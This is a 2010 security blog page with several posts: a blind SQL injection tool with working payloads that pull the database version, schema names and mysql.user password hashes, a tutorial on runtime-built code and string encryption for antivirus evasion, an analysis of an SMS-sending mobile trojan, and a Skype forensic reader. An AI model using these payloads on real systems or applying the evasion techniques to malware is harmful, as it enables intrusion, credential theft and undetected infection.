IT Security Lab The Playground for IT Security Specialists and Pentesters

31Aug/101

Blind SQL Injection Exploitation with “Blind Cat” tool

Folks, believe you or not but it finally happened. I wrote yet another sql injection exploitation tool. You may ask why-oh-why you created another weird proggy, especially when there are already about zillion of similar tools in the Internet?... Well, there are some reasons. First of all: I wanted to be sure I got right the whole idea of how SQL injections should be properly exploited. Second: I wanted to created something, which is useful for me (you know, all IT guys are slightly freaks and egocentrics). And the third: I wanted to test slightly different approach which comes to my head.

If you want kind of a "shortcut" you may see the video how the tool works (below). Otherwise, read the whole story step by step (recommended). Important: Blind Cat is not fully automated tool (not a kind of "one-click-ownage"), but if you will catch the idea of it - in return you would get a huge flexibility to exploit even most difficult blind SQL injections. But remember: you are the one who is exploiting, not the tool! :)

Why another tool for exploiting blind SQL injection?

The main reason is that blind SQL injections, by their nature, often are very different. They have different smells, colors and flavors so I must say it's hell-difficult to find a right tools which would suite all cases. If you have the one - please be a good boy/girl and drop me a line. And a link. ;) But for now, let's make a list of features for such magic program. So it should be able to:

  • Be independent from SQL engine (support MS SQL, MySQL, Oracle, DB2, Firebird, etc.).
  • Be independent from SQL language differences between different systems.
  • Support "true/false", "true/error" and time-based conditions (maybe more).
  • Be able to send HTTP request (GET or POST) to vulnerable web applications, with many different parameters.
  • Support HTTP and HTTPS.
  • It may be required to provide tons of custom cookies, viewstates, etc.
  • It may also be required to send custom HTTP header (referrers, browser info, etc.).
  • It would be nice to be able use a HTTP proxy if needed (kind of "debug mode" for our exploitation).
  • It should be possible to execute any SQL query (assuming the remote system and the vulnerability allow it).
  • The tool should be reasonably easy to use (hmm... that's could be a tough one).

So you still think you already have a right tool, aren't you?... ;)

Swiss army knife for building HTTP requests

Ok, so let's think what is most generic of all above? To exploit blind SQL injection you must be able to send custom HTTP request, get the response, modify the request, get the response again and compare (and again and again...). So what if we will be using some third-party tool (easy to use and well-documented) for constructing and sending such requests and then only write a kind of "automation tool" for it (we don't want to reinvent a wheel, right?).

After some consideration the tool for sending requests was chosen. And it was CURL. I am 100% sure: every "IT guy" is familiar with it (honestly: I never met the one who never used it). So if you have some personal doubts regarding the tool - my advise: RTFM. ;)

The "Blind Cat"

This is, once again,  kind a proof of concept rather the final product. So what is the basic idea of operating Blind Cat?

The tool (Blind Cat) is running multiple instances of CURL, which send parametrized HTTP requests to the vulnerable web application. Then responses are analyzed and another requests with modified parameters are issued until the correct characters in SQL response are detected.

Assuming you are dealing with blind SQL injection in a web application, this is what you should do to exploit it:

  • You have to build custom HTTP request (saved it in curl.config) with all "bells and whistles" needed (custom header, cookies, etc.).
  • You have to write your own SQL query to exploit SQL injection (also written in curl.config). You also should put some tags in places of all iterations (characters, rows, etc.).
  • You have to define the condition for "true" or "false", response boundaries (expected length of response) and also expected number of rows you may get in return.
  • Click the button "RUN" and enjoy :).

Let's try to exploit something with Blind Cat and see how it works:

Sample exploitation

This is simple vulnerable application I made. The input from the search form is not sanitized, so we have typical blind SQL injection. SQL engine = MySQL.

Checking for blind SQL injection (actually you may see it in the movie):

en' and 1=1# --> you see the table with search results

en' and 1=2# --> you don't see the table with search results

Now let's preview the web page's HTML source and find something which will be used to differentiate condition "true" from "false". Here it is:

So this fragment of the code: <td>1</td> is rendered in case of en' and 1=1# condition. Nice. If we will intercept the request from our web browser e.g. in Burp Suite - this is what we may see:

Of course, such request may be much more complicated, but the important thing here is: we may copy it and repeat "as it is". Now let's change our request parameters in curl.config so we may be able to "mimic" the HTTP request from above and also execute the following SQL query:

SELECT @@VERSION

Look at this file. This HTTP header is exactly what CURL will be sending to our web application:

The last string should be replaced with something like this:

#-------------------------------------- GET/POST parameters
-d "keyword=en'%20and%201=(SELECT%20ORD(SUBSTR(@@VERSION,<char_position>,1))><char_value>)#"

I assume you know how blind SQL injection may be exploited to get some data char-by-char, so I am not going deep into explanations about this query.

After you will check if all paths are correct in BlindCat.ini (self explanatory) - it's time to run the Blind Cat! The user interface is quite easy:

Keep attention to the Keyword for "true". This is very important variable! Now press RUN button and see the delightful view how the data is extracted. :) (ach, you've been already seeing the movie, isn't it)

The tool is running multiple threads at the same time, so exploitation is pretty fast. You may change nr of threads, but don't expect 20 or 30 be better then 5. Sample experiment quickly shown that 5-6 threads is good enough. In fact, if more then 5 threads are in use - the overall exploitation time is not dropping down significantly, but at the same time your processor's usage will be increased.

Ok, this is it. If you want to try more samples from the movie, here they are:

Get all databases (still in MySQL). SQL query:

SELECT schema_name FROM information_schema.schemata

...and the config:

#-------------------------------------- GET/POST parameters
-d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20schema_name%20FROM%20information_schema.schemata%20LIMIT%20<main_iterator>,%201),<char_position>,<char_value>))><char_value>))#"

Get users' combined info. SQL query:

SELECT CONCAT(HOST,'|',USER,'|',PASSWORD) FROM mysql.user LIMIT 0, 1

...and the config:

#-------------------------------------- GET/POST parameters
-d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20CONCAT(HOST,'|',USER,'|',PASSWORD)%20FROM%20mysql.user%20LIMIT%20<main_iterator>,%201),%20<char_position>,%201))%20>%20<char_value>))#"

FYI: if you want to make a multiline response when exploiting MS SQL server - we should use slightly different SQL query pattern because we don't have LIMIT keyword in MS SQL. :-( So this is what we should do:

SELECT top 1 name FROM master..syslogins where name not in (SELECT top 0 name FROM master..syslogins)

then for the next row:

SELECT top 1 name FROM master..syslogins where name not in (SELECT top 1 name FROM master..syslogins)

...and so on. You've got the idea where the <main_iterator> tag goes, right?

I have almost forgotten: the tool may be downloaded from [here], and the source code in Delphi may be found [here]. Enjoy! :-)

25Aug/100

Self-modifying code – short overview for beginners

Introduction

Today I would like to let us touch the area of self-modifying and obfuscated code. It’s not a secret that obfuscation is a basis “survival” technique for every modern malware. The business is simple: if your “kung-fu” is good enough – the probability that your malicious software would be able to survive (and successfully do its dirty job) is much higher. On the other side of the barricade there are countless AVs, IDSs, IPSs, firewalls, etc., which are claiming to be fully-automated intelligent malware detection tools. Both sides are motivated and very engaged in the battle so winners and losers are changing their places quite often. So today we would take a closer look to the "dark side".

The main reason for the article is my impression that so many people (surprisingly, the ones working in IT security and forensic) have really no idea how malware is working  It is also is not clear how the tools for malware detection are dealing with it. And honestly, how you can fight with something if you don't know what it actually is? Know Your Enemy, dude! I want to demonstrate that self-modifying code is actually quite smart, but not necessarily too complicated mechanism. I also want us to become a malware investigators and for the very beginning try to hide the only one, single (and simple) function in our binary.

Oh yes, there are actually two articles. The first (this one) is a kind of introduction into code obfuscation. The second one will be an attempt to write fully working cryptor – the software which would allow us to execute malicious code and bypass antivirus protection! There is a small application prepared which illustrates everything below so you are welcomed to [download] it before the training. I will be intentionally omitting many technical details, just to give a broad view. Everything you need can be found later in thousand sources in the Internet.

Prerequisites:

  • Some knowledge of programming for Windows (examples will be in Delphi, but they are quite simple, so may be easily implemented in any other programming language). You definitely have to know what pointers are. It is also highly recommended to know what the Windows API is.
  • Basic knowledge of debugging binary applications for Windows would also be desired. We will be using famous and free OllyDBG.
  • Basic knowledge of assembler (I mean it: a very basic one. Don't run away now!).  :-)

Ok, it's time to dance.

Part 1. Five Flavours of MessageBox

Definition

Self-modifying code is the kind of code that literally changes its own instructions while it is executing. Self-modification can be accomplished in a variety of ways depending upon the programming language and its support for pointers and/or access to dynamic compiler or interpreters. Here are some examples:

  1. Overlay of existing instructions (or parts of instructions such as opcode, register, flags or address).
  2. Direct creation of whole instructions or sequences of instructions in memory.
  3. Creating or modification of source code statements followed by a 'mini compile' or a dynamic interpretation (see eval statement).
  4. Creating an entire program dynamically and then executing it.

In  our tutorial we will be playing with the code modification throughout execution ('on-the-fly') with emphasis on direct creation of instructions in memory.

Experiments

Traditionally, we would start from something easy. And what can be more simple than showing a message box. :-)

procedure TForm1.Button1Click(Sender: TObject);
begin
  application.MessageBox('This is my first text', 'Info', mb_ok); //--- parameters: message, caption, style
end;

Note: we provided three parameters to the Delphi function application.MessageBox. And the execution of this gives us the following (very predictable) result.

Nice. It would be interesting to see what the processor is doing when the binary is executed. Our good-old OllyDbg is coming with help. Ok, we are loading our .exe into the debugger and assuring the breakpoint on the API function MessageBoxA is set up.

Now run the binary and press the button nr 1 in our sweet application. Woop! Debugger stopped at the breakpoint and we may observe some interesting things.

Executed instructions (opcodes and disassembled code):

And the processor's stack:

What we may actually see is that the Delphi application.MessageBox function is nothing but a kind of a "wrap-up" for the Windows API function: MessageBoxA defined in the library user32.dll. This function has not three but four parameters:

  • parent window's handle (address)
  • the text (address of the text in memory)
  • window caption (address of the caption in memory)
  • window style (buttons used, etc)

Last but not least: we also must have the address of the MessageBoxA function to be able to call it. Generally Windows API functions are used more-or-less the following way: their parameters are PUSHed in processor stack in reversed order (see the illustration above), then address of the function is copied to EAX and CALL is executed.

Once we know what is going on - we may try to call the same function (user32.MessageBoxA) directly in Assembler. Let's define some global variables first (I will tell you later why we use globals):

var
  str1,
  str2: pchar; //--- our strings
  pAddr: integer; //--- address of the function

And now write the function itself:

procedure CallMessageBox();
asm
  push dword ptr 0 //--- push style: 0
  push dword ptr str1 //--- push DWORD parameter (caption)
  push dword ptr str2 //--- push DWORD parameter (message)
  push dword ptr 0 //--- push hOwner: 0
  mov eax, pAddr
  call eax //-- call address of the function, which is currently in EAX
end;

This is the way we may call this function (when pressing button nr 2):

procedure TForm1.Button2Click(Sender: TObject);
begin
  str1 := 'Info';
  str2 := 'This is my second text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));

  CallMessageBox;
end;

The way we may get the address of the function exported by user32.dll is highlighted in red. Style = 0 (not defined) so the only "OK" button is shown. hOwner can also be 0 (new window's owner is a current application). Press the button nr 2 - everything works. Now let's check our executed code in the debugger:

...and the stack:

All is clear, right? Now maybe there should be a word said about why the "global variables" are used. This is because we want to have a "far" addresses: full DWORDs. If we would use a local variables - the code will be different because of optimization made by a compiler. And we need a simple and very clear picture now, isn't it?

Ok, everything up to this point was just a list of instructions, written in high-level programming language (Delphi) or low-level (Assembler), compiled and executed as a static binary code (a sequence of processor instructions).

Now let's think: we know how those processor instructions looks like. Why not to create exactly the same sequence of instructions but at runtime? So we can create kind of a "program A" which at runtime would write to the  memory a sequence of some instructions (kind of "program B") and then execute them.

But before that let's check if we may access the opcodes of any existing function (read it from the memory). Because it would be much easier to copy the opcodes from existing functions not being using OllyDBG. (We are naturally lazy hackers, aren't we...) :)

This or that way, I prepared some simple function which can do that:

//---------------------------it allows to get opcodes from any existing function
function copyOpcodesFromExistingFunction(sourceFunc: pointer; maxLength: integer): string;
var i: integer;
    p: pointer;
    code: string;
begin
  result := '';
  for i := 0 to maxLength do //--- now we can see the opcodes of this function
  begin
    p := ptr(dword(sourceFunc) + dword(i)); //--- craft pointer directly.
    code := inttohex(byte(p^), 2);
    result := result + code;
    if code = 'C3' then break;
  end;
end;

Function copies everything from certain place in the memory (by given pointer to an analysed object/function) and reads the commands until it would meet C3 opcode, which is "return from the function" (or RET). Quck illustration what the pointer is here:

The similar approach is used for any other structures in memory (except maybe the fact that the data may not necessarily finish with a null byte). So let's check the opcodes of our function CallMessageBox.

procedure TForm1.Button3Click(Sender: TObject);
var
  myAsm: string;
begin
  str1 := 'Info';
  str2 := 'This is my third text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));
  caption := inttohex(pAddr, 8);

  memo1.Text := copyOpcodesFromExistingFunction(@CallMessageBox, 40); //---take opcodes from existing function
end;

This is what you would see when press the button nr 3:

Looks familiar, isn't it? :-) If we would add some line breaks - we would see the opcodes, previously shown by the debugger.

The technique described above, by the way, is the very nice way to review the opcodes for any function in Delphi. Kind of "self-debugger" or something... Great, now let's do the same, but the opposite way: now we would construct the same code at runtime. See this:

//---------------------------------construct our function manually (MessageBoxA)
procedure TForm1.Button4Click(Sender: TObject);
var
  myAsm: string;
  t: TByteArray;
  oldProtect: DWORD;

  dummyFunc: function: Integer; //--- dummy function
begin
  str1 := 'Info';
  str2 := 'This is my fourth text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));

  myAsm := ' 6800000000' + //--- push style: 0
           ' FF35' + inttohex(swapEndian(dword(@str1)), 8) +  //--- push dword: caption address
           ' FF35'  + inttohex(swapEndian(dword(@str2)), 8) + //--- push dword: message address
           ' 6800000000' + //--- push hOwner: 0
           ' B8' + inttohex(swapEndian(pAddr), 8) + //--- mov EAX, dword: API function address
           ' FFD0' + //--- call EAX
           ' C3'; //--- RET (return from function)

  t := StringToArrayOfByte(myAsm);

  @dummyFunc := @t; //--- point the inline function to our byte array
  VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);  //--- allow the page where the code resides - treated as executable

  dummyFunc; //--- run our hand-crafted function
end;

This is what's happening when you press the button nr 4.

  1. We assign values to our string variables ("info", "fourth text").
  2. We are retrieving the address of the function we will be calling (MessageBoxA).
  3. We create the string (myAsm) which is ASCII-hex-encoded list of our instructions to be executed.
  4. Our instructions list (myAsm) is written as bytes into memory TByteArray.
  5. We assign the pointer of the dummy function to the TByteArray.
  6. We mark the memory page where our TByteArray (actually - our new function) resides as code (PAGE_EXECUTE_READWRITE), so our innocent bytes (data) becomes a code and can be executed.
  7. The function (our brand new code: dummyFunc) is successfully executed by user.

The result:

Hurray, it works! Here some important things:

  • Keep attention to this definition: TByteArray = array[1..200] of byte (Important!)
  • We must keep in mind the reversed sequence of parameters.
  • We must swap endians for all addresses (A1B1C1D1 becomes D1C1B1A1). Don't ask me why - processor just works this way.

Important remark: we know perfectly that all strings explicitly defined in source code will be clearly visible in our binary. All instructions after compilation are also visible in our binary. You will find them in a one second, being armed with a hex editor. And this is also exactly what all antiviruses are doing: checking for certain combinations of bytes in binaries (on hard drive) and/or in memory, before execution of the program. See our code inside of the binary:

Of course AV's don't care about our innocent MessageBoxA, but for sure may keep much more attention e.g. to the following functions: VirtualProtect, SetThreadContext, GetThreadContext, WriteProcessMemory, ReadProcessMemory, CreateProcess, etc.

So what we can do to make it more difficult to detect what our program will be doing?

  • We may encrypt all strings (all our data, our code which will be executed and all keywords like "User32.dll" or "MessageBoxA".
  • We may use undocumented API functions.

Whaaat? How you can use something which is not documented? And what the hell it is? In short: it's kind of a "box inside the box". :-) Something like this:

So we already know that the Delphi's Application.MessageBox is actually calling MessageBoxA. But there is more: the MessageBoxA is internally calling another function: MessageBoxExA. This inner function may have different (or additional) parameters. We can easily proof it with our debugger by setting up the break on MessageBoxExA:

The result (clearly MessageBoxA is calling MessageBoxExA):

Parameters on stack:

We clearly see one more additional parameter appeared: languageID. Btw, it's a nice and simple example of API's reverse engineering, isn't it. We may confirm our findings in MSDN (assuming the function is documented) or google for it. Ok, so what we can do now, we may construct our opcodes for the MessageBoxExA instead of MessageBoxA. This is it:

procedure TForm1.Button5Click(Sender: TObject);
var
  myAsm: string;
  t: TByteArray;
  oldProtect: DWORD;

  dummyFunc: function: Integer; //--- dummy function
begin
  str1 := pchar(simpleDecryption('B6919990')); //--- encrypted text: "Info"
  str2 := pchar(simpleDecryption('AB97968CDF968CDF9286DF9996998B97DF8B9A878B')); //--- encrypted text: "This is my fifth text"
  pAddr := dword(GetProcAddress(GetModuleHandle(pchar(simpleDecryption('AA8C9A8DCCCDD19B9393'))), //--- encrypted text: "User32.dll"
                                pchar(simpleDecryption('B29A8C8C9E989ABD9087BA87BE')))); //--- encrypted text: "MessageBoxExA"

  myAsm := ' 6800000000' + //--- push languageId: 0
           ' 6800000000' + //--- push style: 0
           ' FF35' + inttohex(swapEndian(dword(@str1)), 8) +  //--- push dword: caption address
           ' FF35'  + inttohex(swapEndian(dword(@str2)), 8) + //--- push dword: message address
           ' 6800000000' + //--- push hOwner: 0
           ' B8' + inttohex(swapEndian(pAddr), 8) + //--- mov EAX, dword: API function address
           ' FFD0' + //--- call EAX
           ' C3'; //--- RET (return from function)

  memo1.Text := myAsm;
  t := StringToArrayOfByte(myAsm);

  @dummyFunc := @t; //--- point the inline function to our byte array
  VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);  //--- allow the page where the code resides - treated as executable

  dummyFunc; //--- run our hand-crafted function
end;

Note that strings are also encrypted now. The myAsm variable may also be initially encrypted (I left it as it is - to make everything a little bit more clear). There are some primitive encryption functions used:

Encryption:

function simpleEncryption(dataIn: string): string;
var i: integer;
begin
  for i := 1 to length(dataIn) do result := result + inttohex(255 - ord(dataIn[i]), 2);
end;

Decryption:

function simpleDecryption(dataIn: string): string;
var i: integer;
begin
  for i := 1 to length(dataIn) div 2 do result := result + chr(255 - strToInt('$' + copy(dataIn, i * 2 - 1, 2)));
end;

When you press the button nr 5 - result is exactly as expected: Message box is popping-up.

Even if our suspicious antivirus for some reason is sensitive to the opcodes of MessgeBoxA (assuming this function may be used for something bad) - it may not necessarily be so sensitive to MessageBoxExA. And this is exactly what we want to achieve!

Conclusion

The simple self-modifying and obfuscating mechanism described above may be surprisingly good to omit antivirus protections. Now, being knowing all this, we may try to do something more serious: write our own cryptor, which should allow us to "smuggle" a 3rd party malicious code to any target system. Stay tuned and w8 for the 2nd part of the tutorial.

I would like to encourage you for feedback, which would be very useful. This would help us to adjust the texts and illustrations, avoid possible uncertainties and make everything even more easy to read and understand. :)

23Aug/100

Playing Solitaire on ATM

No need for any comments. This picture just made my day. :)

I know, I know - this is not same spectacular and jaw-dropping as the recent revelations from the BlackHat, but still nice...

22Aug/102

“From Russia With(out) Love” or The Story about Unsuccessful Exploitation of Non-existing Mobile Phone ;-)

I was planning to write some technical article during this weekend but some unexpected situation disturbed my Sunday equilibrium. So finally I decided to write about this thing instead. Here's what happened:

Ok, so I am lazy clicking here and there and thinking what to do with my lunch ("grep" on my fridge: it is almost empty) and suddenly, OMG: the window of my IM popping-up and I am seeing the following:

Translating from Russian: some unknown Anna saying: " Hey, look at this picture and see how we had fun by the sea :-)".

I know well enough that "curiosity killed the cat", but look: unknown (presumably totally stunning) Russian beauty is tempting me (me!!!) by mistake or in purpose to see all-her-charms (yamie yame!) right now. Hmm..., let's have some fun. ;)

But "first things first". My advise to you, boys, about initial contact with "previously-unknown" ladies: well... try to arrange the meeting in an environment controlled by you. ;) This may save you from some unhappy surprises (in real life and also in Internet). First thing: I am using the Miranda messenger only. And this means: my IM does exactly what I want, no more no less. This reduces the risk of running some exploits written for a very popular messengers like ICQ, GG, MSN, etc. My own filtering, my own antispam, etc. Second: yes, I am opening the URL mentioned above, but in the FireFox running through the Burp Suite (stopping on each request and response) and with scripts disabled ( we only want to see the pictures of our baby, aren't we...).

Ok,  I see that my browser actually wanted to open this URL:

http://byyb.net/l/6149/id47254154

...which redirected me here:

http://regroyal.com/vkontakte/388/id47254154.jar

And now I am really disappointed because my mysterious-Russian-beauty vanished instead trying to make me running some strange java applet. :( Let's see if there is some "whiskey in a jar". The file was immediately downloaded, content unzipped (.jar is actually ZIP file) and analysed (classes were decompiled).

So this is what I found. The classes were written in Java Platform ME (Micro Edition) which is designed for mobile devices. So the .jar suppose to be running on my mobile phone. I found some interesting content in classes: g.class, r.class and x.class.

Look at this:

    MessageConnection messageconnection = null;
            try
            {
                c_int_fld++;
                TextMessage textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + s)).newMessage("text");
                System.out.println("93");
                textmessage.setAddress("sms://" + s);
                textmessage.setPayloadText(s1);
                messageconnection.send(textmessage);
                messageconnection.close();
                System.out.println("<> SENDED ok");
                break label0;
            }
            catch(Exception exception)

So this thingy definitely is sending SMSs (presumably quite expensive...). When I checked the file with virustotal.com this is what I've seen:

Wooooow, this thing is not funny at all. Check this [direct URL] pointing to the live result of Virustotal analysis.

I also looked for some info in Internet and found very interesting discussion about even more advanced case: http://www.maultalk.com/lofiversion/... (the text is in Russian). Quick translation: unknown lady bitch is starting picking-up some guy on ICQ. He is surprised and wondering it's probably just his girlfriend having fun with him. But the unknown girl is suddenly "becoming hot" and propose to have sex with him. The guy thinks: what the heck? And she sends to him the message "look at my picture and decide" and sends the similar URL as I've got. So now you know what you may get in this case...

I also found that there are several variations of such trojan (actually it's a mutation of the Garlag trojan, first detected in May 2009) which are luring innocent (or stupid) users in different ways... Anyway guys, you may explore this nice piece of malware here [file to download] by yourself, but just beware...

20Aug/1012

Skype .dat reader is updated

Happy days! The new version of the Skype ChatSynch reader tool is already [here] (binaries and source files in Delphi). New functionality added:

  • Date-time stamp of every message is extracted
  • The IDs of conversation's parties are properly extracted and matched with the messages.
  • Many different bugs fixed.

Big thanks to Rasmus Riis Kristensen from the Computer Crime Unit of Danish National Police for reverse engineering the location of the data in Skype .dat files. This is how the Skype reader looks now:

More information about the tool: read the [previous post]. I am happy to know that the program is used by people (also as a forensic tool!) and still is under development. If you may help with more information about the Skype files data structure - this would be veeeery much appreciated... :)